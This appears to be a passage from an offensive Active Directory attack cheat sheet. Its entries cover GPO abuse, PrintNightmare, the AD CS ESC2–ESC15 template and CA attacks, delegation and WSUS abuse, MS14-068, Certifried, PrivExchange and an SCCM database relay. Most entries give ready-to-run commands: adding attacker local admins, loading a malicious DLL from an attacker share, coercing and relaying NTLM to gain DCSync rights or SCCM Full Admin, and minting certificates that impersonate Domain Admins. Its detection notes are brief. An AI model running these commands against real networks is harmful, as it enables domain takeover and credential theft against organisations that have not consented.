With edit rights (GenericWrite/WriteDacl/WriteProperty, BloodHound: GenericWrite over a GPO) you can modify a Group Policy Object's files in SYSVOL. Inject an immediate scheduled task or add a local administrator; the change applies as SYSTEM (computer policy) to every computer the GPO is linked to (potentially an OU full of servers or even Domain Controllers), turning one ACL into domain-wide code execution. Clients only re-apply when the GPO version increments (gPCVersionNumber in AD plus the GPT.INI version in SYSVOL), so a raw file edit alone can be ignored as unchanged. SharpGPOAbuse / pyGPOAbuse bump the version and write the extension GUIDs for you, which is why you use them rather than hand-editing SYSVOL.

Requires

  • Edit rights (GenericWrite/WriteDacl/WriteProperty) over a GPO
  • The GPO linked to a useful OU/computer

Example commands

# Add a local admin (SharpGPOAbuse)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
# Immediate computer task (SharpGPOAbuse)
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user ..." --GPOName "Vulnerable GPO"
# Add local admin from Linux (pyGPOAbuse)
pygpoabuse.py domain.local/user -hashes :<NTHASH> -gpo-id <GPO-GUID>

Tools

MITRE ATT&CK: T1484.001

References

OPSEC / detection: Writing to SYSVOL changes gPCMachineExtensionNames and the policy files (5136 / file-share auditing). The change is inert until the client's next Group Policy refresh (default ~90 min + random offset) or a forced gpupdate applies it; the client-side telemetry is then policy processing, followed by an unexpected immediate/scheduled task registration and its child process. Remove the task and revert the GPO after use.

PrintNightmare (CVE-2021-34527)

Print Spooler driver load -> code execution as SYSTEM.

A flaw in the Print Spooler (RpcAddPrinterDriverEx / AddPrinterDriver) lets an authenticated user supply a malicious driver DLL that the spooler loads as SYSTEM. CVE-2021-1675 is the local LPE; CVE-2021-34527 extends it to remote code execution against any host (including a DC) running the Spooler. Drop a DLL on a share, point the spooler at it, and you execute as SYSTEM.

Affects: Print Spooler on Windows 7 / Server 2008 R2 through Windows 11 / Server 2022 (client and server editions), before the July-2021 out-of-band update.

Requires

  • The Print Spooler service running on the target
  • A valid domain account (remote) or local user (LPE)
  • cube0x0's forked Impacket (github.com/cube0x0/impacket) for CVE-2021-1675.py, not stock Impacket
  • Host missing the August-2021 updates / without RestrictDriverInstallationToAdministrators enforced (the initial July OOB fix was bypassable)

Example commands

# Remote exploit via a DLL share
CVE-2021-1675.py domain.local/user:pass@10.0.0.10 '\\10.0.0.50\share\evil.dll'
# Local LPE (add local admin)
Invoke-Nightmare -NewUser hacker -NewPassword 'Passw0rd!'
# Check spooler + vulnerability (NetExec)
nxc smb <host> -u user -p pass -M printnightmare

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: Spooler driver loads and the new DLL under the spool drivers path are detectable (RpcAddPrinterDriverEx, 808/4688 events). Disabling the Print Spooler where it is not needed fully mitigates it.

ADCS ESC4 (Template ACL)

Write a cert template into an ESC1-vulnerable state, then enroll.

ESC4 is a dangerous ACL (WriteOwner/WriteDacl/WriteProperty/GenericAll, BloodHound: ADCSESC4) over a certificate template object rather than over the issued certs. Rewrite the template to be ESC1-vulnerable (enable Client Authentication EKU and ENROLLEE_SUPPLIES_SUBJECT and open enrollment), then perform the ESC1 attack to impersonate a Domain Admin, and restore the template afterward.

Requires

  • A dangerous write ACL over a certificate template
  • A reachable, enabled CA to enroll against

Example commands

# Make the template ESC1-vulnerable (Certipy v5 auto-saves the original)
certipy template -u user@domain.local -p pass -dc-ip 10.0.0.1 -template VulnTemplate -write-default-configuration
# Then run the ESC1 enrollment (add -sid; without it, auth is refused on Full-Enforcement DCs)
certipy req -u user@domain.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@domain.local -sid <target-objectSid>
# Restore the original template config
certipy template -u user@domain.local -p pass -dc-ip 10.0.0.1 -template VulnTemplate -write-configuration VulnTemplate.json -no-save

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Editing a template is a directory write (5136) and momentarily exposes an over-permissive template domain-wide; the subsequent cross-account cert request is logged on the CA (4886/4887). Restore the template promptly to limit the window.

ADCS ESC2 (Any Purpose / No EKU)

Template with Any-Purpose (or no) EKU -> use as enrollment agent.

ESC2 is a template whose EKU is "Any Purpose" (or has no EKU at all), so the issued certificate can be used for anything, including acting as an enrollment agent. Unlike ESC1 you cannot specify an arbitrary SAN directly, but you can enroll, then use that cert to request a client-auth certificate on behalf of a privileged user (the ESC3 abuse), and authenticate as them. This on-behalf-of enrollment only works against v1-schema templates (e.g. the default User/Machine templates); v2+ templates enforce Required Application Policies and would need the Certificate Request Agent EKU specifically, which an Any-Purpose cert does not carry.

Requires

  • Enrollment rights on a template with Any-Purpose or no EKU
  • A reachable, enabled CA

Example commands

# Request the Any-Purpose certificate
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template AnyPurpose
# Use it on behalf of a target
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template User -pfx user.pfx -on-behalf-of 'CORP\administrator'
# Authenticate as the target
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: If CA success auditing is enabled (off by default), requests are logged on the CA (4886/4887); an on-behalf-of request whose subject differs from the requester is a strong signal. Certificates outlive password resets.

ADCS ESC3 (Enrollment Agent)

Enroll a Certificate Request Agent cert -> request on behalf of anyone.

ESC3 is a template carrying the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) open to low-priv enrollment. Enroll to obtain an enrollment-agent certificate, then use it to request a client-authentication certificate on behalf of a privileged user from a second (e.g. default "User") template, and authenticate as that user. For the two-step chain to succeed the second template must lack effective Enrollment Agent Restrictions (which limit which agents can enroll for which principals) and neither template can require Manager Approval, or the on-behalf-of request is blocked.

Requires

  • Enrollment rights on a Certificate Request Agent template
  • A second client-auth template enabled on the CA

Example commands

# Get the enrollment-agent cert (-target the CA host when it is not the DC)
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -target ca.domain.local -ca CORP-CA -template EnrollmentAgent
# Request a cert on behalf of a target (-target the CA host when it is not the DC)
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -target ca.domain.local -ca CORP-CA -template User -pfx user.pfx -on-behalf-of 'CORP\administrator'
# Authenticate as the target
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Enrollment-agent enrollment and the subsequent on-behalf-of request are both logged on the CA (4886/4887). Enrollment-agent restrictions on the CA can constrain who an agent may enroll for.

ADCS ESC5 (PKI Object ACL)

Weak ACL on a PKI AD object / CA host -> compromise the PKI.

ESC5 covers vulnerable access control over the wider PKI footprint rather than a single template: the CA computer object, the CA server host, and AD objects under the Public Key Services container (Certificate Templates, Enrollment Services, NTAuthCertificates, AIA/CDP). Control over any of these lets you reconfigure the PKI, and the outcome depends on the vector: CA-host takeover (stealing the CA private key) yields a golden certificate; pushing a rogue CA into NTAuthCertificates makes your own rogue CA trusted for domain auth; ACL grants let you escalate to one of the above.

Requires

  • A dangerous ACL over a PKI AD object or the CA host
  • Owned principal holding that ACL

Example commands

# Enumerate PKI objects & ACLs
certipy find -u user@domain.local -p pass -dc-ip 10.0.0.1 -stdout
# After CA-host takeover: back up the CA key
certipy ca -u user@domain.local -p pass -target ca.domain.local -ca CORP-CA -backup

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: No single clean technique: outcome depends on the object abused. DACL writes on PKI objects generate 4662/5136; CA-host takeover and key export are highly privileged actions. (T1649 once forging begins.)

ADCS ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2)

CA-wide flag lets any request specify an arbitrary SAN.

When the CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, it honours a requester-supplied subjectAltName on ANY template, so even a benign client-auth template (e.g. the default User) becomes ESC1-like. Request a certificate with an arbitrary UPN/SID and authenticate as that user. Post-May-2022 patches mean it must be combined with a SID-mapping gap (ESC9/ESC16) to fully impersonate.

Requires

  • EDITF_ATTRIBUTESUBJECTALTNAME2 set on the CA
  • Enrollment on any client-auth template
  • Often a SID-mapping gap (ESC9/ESC16) post-patch

Example commands

# Detect the flag
certipy find -u user@domain.local -p pass -dc-ip 10.0.0.1 -stdout
# Request with an arbitrary SAN (unpatched CA, pre-KB5014754; on a patched CA the CA stamps your real SID, so pair with an ESC9/ESC16 template that lacks the SID extension)
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template User -upn administrator@domain.local -sid S-1-5-21-...-500
# Authenticate as the target
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: The misconfig is CA-wide and easy to flag with Certipy. Cross-account requests raise 4886/4887 only if AD CS auditing is enabled (CA Auditing tab + Certification Services audit subcategory), which is off by default. Setting/clearing the flag requires CertSvc restart and is itself auditable.

ADCS ESC7 (Vulnerable CA ACL)

ManageCA / Manage Certificates on the CA -> issue arbitrary certs.

ESC7 is a dangerous ACL on the CA itself: the ManageCA ("CA Administrator") or Manage Certificates ("Certificate Manager") right. With ManageCA you can grant yourself the officer/Manage-Certificates right, enable the built-in SubCA template, submit a SubCA request that is DENIED (no enroll rights), then force-issue your own failed request and retrieve the cert. ManageCA can also flip EDITF_ATTRIBUTESUBJECTALTNAME2 to enable ESC6. Manage Certificates alone only covers the issue/approve step, so it suffices only when an officer and an enabled request template are already in place; ManageCA is the self-sufficient right.

Requires

  • ManageCA or Manage Certificates over the CA
  • A reachable CA host

Example commands

# Grant yourself officer (Manage Certificates)
certipy ca -u user@domain.local -p pass -ca CORP-CA -target ca.domain.local -add-officer user
# Enable the SubCA template
certipy ca -u user@domain.local -p pass -ca CORP-CA -target ca.domain.local -enable-template SubCA
# Request SubCA (gets denied -> note the request id)
certipy req -u user@domain.local -p pass -ca CORP-CA -target ca.domain.local -template SubCA -upn administrator@domain.local
# Approve the pending request
certipy ca -u user@domain.local -p pass -ca CORP-CA -target ca.domain.local -issue-request 17
# Retrieve the issued cert
certipy req -u user@domain.local -p pass -ca CORP-CA -target ca.domain.local -retrieve 17

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: CA configuration/permission changes and request approvals are logged on the CA: 4882 (officer/ACL change), 4886 (request received), 4888 (SubCA request denied), 4887 (force-issued). The SubCA dance leaves that denied-then-issued request trail; 4885 only appears if the operator also alters CA auditing, which this chain does not. Enabling SubCA exposes a powerful template briefly.

ADCS ESC9 (No Security Extension)

Template lacks the SID extension -> UPN-swap impersonation.

ESC9 templates set CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag, so the issued certificate omits the szOID_NTDS_CA_SECURITY_EXT (SID) extension and the KDC falls back to UPN-based mapping. ESC9a is the UPN-swap on a USER account: with write rights over a victim account, set its userPrincipalName to a target (e.g. administrator), enroll as the victim, revert the UPN, then authenticate: the cert maps to the target. Needs StrongCertificateBindingEnforcement not in full-enforcement (2) mode. ESC9b (dNSHostName mapping on a MACHINE account to impersonate another computer) is a separate technique not covered by the UPN procedure here.

Requires

  • Template with CT_FLAG_NO_SECURITY_EXTENSION + client auth
  • GenericWrite over a victim account
  • StrongCertificateBindingEnforcement != 2

Example commands

# Get the victim NT hash (shadow creds)
certipy shadow auto -u user@domain.local -p pass -account victim -dc-ip 10.0.0.1
# Swap the victim's UPN to the target
certipy account -u user@domain.local -p pass -user victim -upn administrator@domain.local update
# Enroll as the victim on the ESC9 template
certipy req -u victim@domain.local -hashes :<victim_nt> -dc-ip 10.0.0.1 -ca CORP-CA -template ESC9
# Revert UPN, then auth as the target (capture the victim's original UPN with certipy account ... read before the swap and restore that exact value; do not assume victim@domain.local)
certipy account -u user@domain.local -p pass -user victim -upn victim@domain.local update

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: The UPN edits on the victim (5136) bracket the attack and should be reverted; cert request and PKINIT logon are logged. The KB5014754 full-enforcement mode (2) breaks ESC9.

ADCS ESC10 (Weak Cert Mappings)

Weak DC mapping registry -> UPN-swap or altSecID impersonation.

ESC10 abuses weak certificate-to-account mapping on the DCs. Case 1, StrongCertificateBindingEnforcement = 0: the DC ignores the SID because binding enforcement is disabled (unlike ESC9, no special template flag is needed), so write a victim UPN to the target, then enroll and authenticate: any client-auth template works. Case 2, CertificateMappingMethods = 0x4 (UPN-only): repoint a victim UPN at an account with no UPN (a machine account or built-in Administrator) and authenticate as it, typically via Schannel/LDAP. Both turn a write-over-a-victim edge into impersonation.

Requires

  • StrongCertificateBindingEnforcement = 0 (Case 1) or CertificateMappingMethods = 0x4 (Case 2)
  • GenericWrite over a victim account
  • A client-auth template open to the victim

Example commands

# Case 1: swap victim's UPN to target
certipy account update -u user@domain.local -p pass -user victim -upn administrator@domain.local
# Case 2: point victim UPN at a machine account
certipy account update -u user@domain.local -p pass -user victim -upn 'DC01$@domain.local'
# Enroll as victim then auth (LDAP shell). Case 2: restore the victim UPN after enrolling so the cert maps to the no-UPN target
certipy req -u victim@domain.local -hashes :<victim_nt> -ca CORP-CA -template User
certipy account update -u user@domain.local -p pass -user victim -upn victim@domain.local   # Case 2 only: revert the swapped UPN before auth
certipy auth -pfx victim.pfx -dc-ip 10.0.0.1 -ldap-shell

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Relies on misconfigured DC registry mappings KB5014754 is meant to harden. UPN writes (5136) should be reverted; Case 2 commonly drives an LDAP/Schannel session rather than PKINIT.

ADCS ESC11 (Relay to ICertPassage/RPC)

Relay coerced NTLM to the CA RPC (ICPR) enrollment endpoint.

ESC11 is the RPC analogue of ESC8: if the CA MS-ICPR RPC interface does not require packet privacy (IF_ENFORCEENCRYPTICERTREQUEST not set), coerced NTLM can be relayed to the ICertPassage endpoint to enroll a certificate for the victim principal. Relay a coerced DC to obtain a DC certificate, then authenticate for a TGT and DCSync. As with ESC8, the requested template must match the relayed principal (DomainController for a DC, Machine/Computer for an ordinary host, User for a user).

Requires

  • CA RPC (ICPR) without enforced encryption (IF_ENFORCEENCRYPTICERTREQUEST unset)
  • A coercion vector to a privileged machine

Example commands

# Relay to the CA RPC endpoint (Certipy)
certipy relay -target 'rpc://ca.domain.local' -ca CORP-CA -template DomainController
# ntlmrelayx ICPR equivalent
ntlmrelayx.py -t rpc://ca.domain.local -rpc-mode ICPR -icpr-ca-name CORP-CA -smb2support --template DomainController
# Then coerce the DC to authenticate
Coercer coerce -u user -p pass -t dc01.domain.local -l 10.0.0.50

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Coercion is noisy and the relayed cross-account enrollment is logged on the CA. Enforcing RPC packet privacy on the CA mitigates it. Have the relay listener up before coercing.

ADCS ESC13 (Issuance Policy → Group)

Enroll a template whose policy OID is linked to a privileged group.

ESC13 abuses an issuance policy OID (in msPKI-Certificate-Policy) that is linked, via the OID object msDS-OIDToGroupLink, to an AD group. AD enforces that the linked group must have universal scope and must be empty, which is why these configs are rare. Authenticating with a certificate from such a template injects that group membership into the token. If a template you can enroll is linked to a privileged group (e.g. an empty universal group granted rights via ACLs), enroll and authenticate to inherit those rights, with no SAN spoofing needed.

Requires

  • Enrollment on a template with a group-linked issuance policy
  • The linked group grants useful privileges

Example commands

# Find OID-group-linked templates
certipy find -u user@domain.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
# Enroll the linked template
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template ESC13Template
# Authenticate -> token gains the linked group
certipy auth -pfx user.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Enrollment looks legitimate (no SAN spoof), making ESC13 subtle; the cert request is still logged (4886/4887) and the OID-to-group link is discoverable in AD. The injected group membership appears in the resulting logon.

ADCS ESC15 (EKUwu / CVE-2024-49019)

Inject application policies into a v1 template CSR (EKUwu).

ESC15 (EKUwu, CVE-2024-49019) abuses schema-version-1 templates that allow enrollee-supplied subjects: an attacker injects arbitrary Application Policies into the CSR, and the CA embeds them in the issued cert regardless of the template EKU. Inject Client Authentication (1.3.6.1.5.5.7.3.2) for an ESC1-style impersonation, or Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) for an ESC3-style on-behalf-of. Because the cert EKU may not satisfy PKINIT, authentication is often done over LDAP/Schannel (PassTheCert).

Requires

  • A schema-version-1 template with enrollee-supplied subject
  • Enrollment rights
  • Unpatched CA (CVE-2024-49019)

Example commands

# Inject Client Auth into a v1 template CSR (needs Certipy >= 5.0)
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template WebServer -upn administrator@domain.local --application-policies '1.3.6.1.5.5.7.3.2'
# Authenticate over LDAP (Schannel) shell
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1 -ldap-shell
# Mint an enrollment-agent cert (ESC3 step 1)
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template WebServer --application-policies '1.3.6.1.4.1.311.20.2.1'
# Enroll on behalf of a target with that agent cert (ESC3 step 2)
certipy req -u user@domain.local -p pass -dc-ip 10.0.0.1 -ca CORP-CA -template User -pfx agent.pfx -on-behalf-of 'DOMAIN\Administrator'

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: The `--application-policies` flag is recent; verify your Certipy build supports it (Certify uses `--application-policy`). PKINIT may reject the cert (EKU mismatch), so LDAP/Schannel auth via PassTheCert is the reliable path. Patched (Nov 2024) CAs ignore the injected policy.

SeEnableDelegationPrivilege (Configure Delegation)

Hold the right to flip delegation flags, then configure the classic delegation you abuse.

The constrained- and unconstrained-delegation abuses assume the delegation is already configured. When you instead hold the rights to CONFIGURE it, you create the misconfiguration yourself. Writing the TRUSTED_FOR_DELEGATION / TrustedToAuthForDelegation UAC flags or msDS-AllowedToDelegateTo on a principal is gated by SeEnableDelegationPrivilege, which is assigned to the Administrators group on DCs by default (Domain Admins / Enterprise Admins / BUILTIN\Administrators), so plain GenericAll/GenericWrite over a computer does NOT let you set classic (constrained/unconstrained) delegation; that ACL yields RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) instead. Once you do hold the privilege, point a controlled (or attacker-created) account at a target SPN, then run S4U2self+S4U2proxy, or capture as an unconstrained host.

Requires

  • SeEnableDelegationPrivilege (assigned to the Administrators group on DCs by default: Domain Admins / Enterprise Admins / BUILTIN\Administrators), NOT merely GenericAll/GenericWrite over the computer, which grants RBCD instead of classic KCD

Example commands

# Set classic constrained delegation (bloodyAD). This alone is KCD WITHOUT protocol transition (S4U2proxy pass-through); for S4U2self on an arbitrary user also set TRUSTED_TO_AUTH_FOR_DELEGATION below
bloodyAD -u user -p PASS -d domain.local --host 10.0.0.1 set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.domain.local'
# Enable protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) so S4U2self impersonates an arbitrary user
bloodyAD -u user -p PASS -d domain.local --host 10.0.0.1 add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
# Flag a computer TRUSTED_FOR_DELEGATION (PowerView)
Set-DomainObject -Identity 'FS01$' -XOR @{useraccountcontrol=524288}

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Writing UAC delegation flags or msDS-AllowedToDelegateTo is a directory change (4742) that BloodHound and delegation audits flag; TRUSTED_FOR_DELEGATION on a non-DC object is an obvious anomaly.

WSUS Administrators

A WSUS admin approves a malicious update; WSUS runs it as SYSTEM on its clients (incl. the DC).

Membership in the WSUS Administrators group (or local admin on the WSUS server) confers full control over update creation and approval without local admin on the clients. SharpWSUS authors an update that wraps a benign Microsoft-signed binary (e.g. PsExec) with attacker arguments and approves it for a target; the Windows Update client pulls and runs it as SYSTEM. When the Domain Controller is a WSUS client, this is a direct path to SYSTEM on the DC. This is deployment-platform abuse, a sibling of SCCM application deployment, not an NTLM relay.

Requires

  • Membership in WSUS Administrators (or local admin on the WSUS server)

Example commands

# Create + approve a malicious update (SharpWSUS)
SharpWSUS.exe create /payload:"C:\PsExec64.exe" /args:"-accepteula -s cmd.exe /c net localgroup administrators attacker /add" /title:"Update"
SharpWSUS.exe approve /updateid:<guid> /computername:dc.domain.local /groupname:"Pwn"

Tools

MITRE ATT&CK: T1072

References

OPSEC / detection: Update creation/approval is recorded by WSUS and the payload runs as SYSTEM via wuauclt; defenders watching WSUS content or unexpected approvals will catch it.

category DACL / ACL Abuse

Abuse object permissions to seize principals.

Exploit misconfigured ACEs on AD objects (GenericAll/GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, AddMember, replication rights, read LAPS, GPO control) to take over users, groups, and computers and walk the permission graph toward Domain Admin. Effective rights include those the groups you belong to hold, not just your own account.

MITRE ATT&CK: T1098

References

category AD CS Abuse

Turn the PKI into a privesc engine.

Abuse Active Directory Certificate Services. Vulnerable templates and CA misconfigurations (the ESC1-ESC16 family) let you enroll certificates that authenticate as any account, up to Domain Admin.

MITRE ATT&CK: T1649

References

category Vulnerable Templates

Enrollment-based ESC1-class template abuse.

Certificate templates that let a low-privileged user request a cert for an arbitrary identity by supplying a SAN, off-template EKUs, or weak mappings (ESC1/2/3/4/9/13/15). The resulting cert authenticates as, or is granted the privileges of, a higher-privileged principal or group.

MITRE ATT&CK: T1649

References

category CA, Relay & Forging

Attack the CA host, relay, and forge certs.

Go after the PKI infrastructure itself: relay to the web-enrollment endpoint (ESC8), abuse CA settings (ESC6/7), take over the CA host (ESC5), or forge certificates outright with a stolen CA key (Golden Certificate).

MITRE ATT&CK: T1649

References

category Critical CVEs

High-impact named vulnerabilities.

Patchable flaws that often shortcut straight to SYSTEM or Domain Admin on an unpatched host: ZeroLogon, PrintNightmare, noPac, MS14-068, Certifried, PrivExchange.

MITRE ATT&CK: T1068

References

category Account & Group Abuse

Manipulate accounts, groups, and quotas.

Abuse the right to create or modify principals to gain or persist privilege: machine-account-quota computer creation, dMSA (BadSuccessor), and adding yourself to privileged groups.

MITRE ATT&CK: T1098

References

category Control-Granting Rights

Rights that hand you write access over an object, whatever its type.

Rights that give you control regardless of target type: GenericAll (full control), GenericWrite (attribute writes only, not the DACL or owner), WriteOwner (take ownership, then rewrite the DACL), and WriteDACL (grant yourself GenericAll or replication rights). Once you hold one, the abuse depends on the object type.

MITRE ATT&CK: T1098

References

category Over a User

Rights over a user account: reset it, forge creds, or roast it.

With GenericAll, GenericWrite, or a targeted right over a USER object: reset its password (ForceChangePassword), add a shadow credential (msDS-KeyCredentialLink), set an SPN to Kerberoast it, flip DONT_REQ_PREAUTH to AS-REP roast it, hijack its logon script (scriptPath), or fix its account state into a usable credential.

MITRE ATT&CK: T1098

References

category Over a Computer

Rights over a computer account: impersonate to it or read its secrets.

With a right over a COMPUTER object, the abuse depends on which right you hold. Configure resource-based constrained delegation to impersonate any user to it by writing msDS-AllowedToActOnBehalfOfOtherIdentity (GenericAll, GenericWrite, WriteDACL, WriteAccountRestrictions, or AddAllowedToAct). Add a shadow credential to authenticate as it by writing msDS-KeyCredentialLink (GenericAll or GenericWrite). Read the LAPS local-admin password stored on this computer with Control Access / All Extended Rights (GenericAll or an explicit read right, not plain GenericWrite); if this computer is authorized to retrieve a gMSA, act as it (pivot via shadow creds or RBCD) and read that gMSA's password, which lives on the separate gMSA account object. AddAllowedToAct only yields RBCD. Delegation is what sets computers apart from users here.

MITRE ATT&CK: T1098

References

category Over a Group

Rights over a group: add yourself to inherit its access.

With AddMember/AddSelf, GenericWrite, or GenericAll over a GROUP: add yourself or a controlled principal as a member to inherit whatever the group holds, including a further ACL over downstream objects or membership of a privileged group.

MITRE ATT&CK: T1098.007

References

category Over a GPO, OU or Domain

Rights over policy objects or the domain: push code or replicate secrets.

With control over a Group Policy Object, an OU, or the domain object: edit a writable GPO to run a task or script on every host it applies to, link a malicious GPO to an OU (gPLink), or use replication rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) to DCSync the domain.

MITRE ATT&CK: T1484.001

References

category Kerberos / Directory CVEs

Kerberos and directory protocol flaws.

noPac, MS14-068, Certifried, and NTLM Reflection abuse Kerberos or directory flaws to impersonate a DC (noPac, Certifried), forge a privileged PAC (MS14-068), or relay a coerced host's authentication back to itself for local SYSTEM (NTLM Reflection).

MITRE ATT&CK: T1068

References

category SMB / Print CVEs

SMB and Print Spooler flaws.

SMBGhost (SMBv3 compression RCE) and PrintNightmare (Print Spooler driver load) reach SYSTEM on unpatched hosts.

MITRE ATT&CK: T1068

References

category Deployment Admins

Deployment-platform admin groups and roles.

WSUS and SCCM administrators can push code as SYSTEM to every managed host.

MITRE ATT&CK: T1072

References

MS14-068 (CVE-2014-6324)

Forge a PAC with elevated group SIDs via the checksum flaw.

Pre-patch, the KDC validated the PAC signature with KdcVerifyPacSignature accepting any signature <= 20 bytes, so a non-keyed hash (MD5) was accepted as valid. A low-priv user can therefore forge a PAC claiming membership in Domain Admins and have the KDC issue a TGT honoring it. Unlike a Golden Ticket it does not need the krbtgt hash: only a domain account name, its password/hash, and its SID.

Affects: Domain Controllers running Server 2003, 2008/R2, or 2012/R2 unpatched for MS14-068 (the KDC PAC-validation flaw predates Server 2016).

Requires

  • Any valid domain account (name + password/hash); the user SID is supplied manually only for the pykek path, goldenPac resolves it automatically
  • A DC unpatched for MS14-068 (pre Nov-2014)

Example commands

# Automated: forge PAC, then PsExec into the @host target (add -dc-ip/-target-ip if names do not resolve)
goldenPac.py domain.local/user:'Passw0rd!'@dc01.domain.local -dc-ip <dc_ip> -target-ip <dc_ip>
# pykek: generate a forged TGT (ccache)
ms14-068.py -u user@domain.local -p Passw0rd! -s S-1-5-21-...-1106 -d dc01.domain.local

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: CVE PoC, only against DCs unpatched since 2014 (rare today). The forged-PAC TGT and the privileged logon it enables are anomalous (4768/4769 with mismatched group membership). No mitigation needed beyond the long-available patch.

Certifried (CVE-2022-26923)

Spoof a machine certificate to impersonate a DC.

AD CS embeds the requesting machine's dNSHostName in the issued certificate, and pre-patch that attribute did not need to be unique. A low-priv user with MachineAccountQuota can create a computer account, set its dNSHostName to a Domain Controller's, and request a Machine-template certificate, which then authenticates as the DC. PKINIT auth with that cert returns the DC's NT hash, enabling DCSync and full domain takeover.

Affects: AD CS / Domain Controllers on Server 2012/R2 through 2022 unpatched for CVE-2022-26923 (pre KB5014754, May 2022).

Requires

  • Any valid domain account with MachineAccountQuota > 0
  • AD CS with an enabled machine-enrollment template (e.g. Machine)
  • DC unpatched for CVE-2022-26923 (pre May-2022)

Example commands

# Create a computer account spoofing the DC dNSHostName
certipy account create -u user@domain.local -p 'Passw0rd!' -user EVILPC -pass 'Passw0rd!' -dns dc01.domain.local
# Request a Machine cert, then auth to recover the DC NT hash
certipy req -u 'EVILPC$@domain.local' -p 'Passw0rd!' -dc-ip 10.0.0.1 -target ca01.domain.local -ca CORP-CA -template Machine
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: Machine-account creation (4741) and a certificate request whose dNSHostName collides with a DC are detectable in AD CS / directory logs. The May-2022 patch (KB5014754) closes the spoof mainly by preventing a dNSHostName from colliding with an existing account, and additionally embeds the requester SID in the certificate (szOID_NTDS_CA_SECURITY_EXT); strong SID binding on the KDC was only enforced by default from Feb 2025.

PrivExchange (CVE-2019-0686 / CVE-2019-0724)

Coerce Exchange to auth -> relay to LDAP for DCSync.

The Exchange EWS PushSubscription API can be abused to make the Exchange server authenticate (over HTTP) to an attacker-controlled host, addressed by the Feb-2019 Exchange elevation-of-privilege fix (CVE-2019-0686 / CVE-2019-0724). Because Exchange (via the Exchange Windows Permissions group) holds WriteDacl on the domain object by default, relaying that high-privileged machine authentication to LDAP lets the attacker grant a controlled user DCSync rights, escalating any mailbox-holding user toward Domain Admin.

Requires

  • Any account with a mailbox on the target Exchange server
  • Exchange holding default WriteDacl on the domain (pre Feb-2019 hardening)
  • LDAP signing not enforced (relay target)

Example commands

# Step 1: start the relay listener (grants DCSync to lowpriv)
ntlmrelayx.py -t ldap://dc01 --escalate-user lowpriv
# Step 2: trigger the coerced Exchange auth at the listener
python privexchange.py -ah <attacker_ip> exchange.domain.local -u mailboxuser -d domain.local -p 'Passw0rd!'

Tools

MITRE ATT&CK: T1068

References

OPSEC / detection: The coerced Exchange auth and the resulting DCSync ACL grant (5136 directory modification) are high-signal. Microsoft's Feb-2019 update removed Exchange's domain WriteDacl; enforcing LDAP signing/channel binding also blocks the relay.

Relay to Site MSSQL (Takeover)

Coerce the site server, relay NTLM to the site DB, grant Full Admin.

When the site database runs on a separate host, coerce NTLM from a site server and relay it to MSSQL, where the site-server account is db_owner. Then INSERT yourself into RBAC_Admins / RBAC_ExtendedPermissions to grant the Full Administrator role: full hierarchy takeover (TAKEOVER-1). sccmhunter generates the SID + SQL; ntlmrelayx performs the relay.

Requires

  • Valid domain credentials
  • Site DB on a separate host
  • SMB to site server + MSSQL from relay to DB
  • NTLM/EPA defaults

Example commands

# Generate SID + SQL to grant Full Admin
python3 sccmhunter.py mssql -u 'lowpriv' -p 'P@ssw0rd' -d internal.lab -dc-ip 10.10.100.100 -tu lowpriv -sc PS1 -stacked
# Relay coerced site-server auth to the site DB
impacket-ntlmrelayx -smb2support -ts -t mssql://<DATABASE_IP> -q "USE CM_PS1; INSERT INTO RBAC_Admins (...) VALUES (...);"
# Coerce the site server to authenticate
python3 PetitPotam.py -u lowpriv -p 'P@ssw0rd' -d internal.lab <RELAY_IP> <SITE_SERVER_IP>

Tools

MITRE ATT&CK: T1557

References

OPSEC / detection: Coercion and a new RBAC_Admins row are detectable; SQL writes are visible to anyone auditing the site DB. Remove planted admin rows when finished.

Relay Client Push (Elevate)

Abuse automatic client push to coerce the site server, relay its auth.

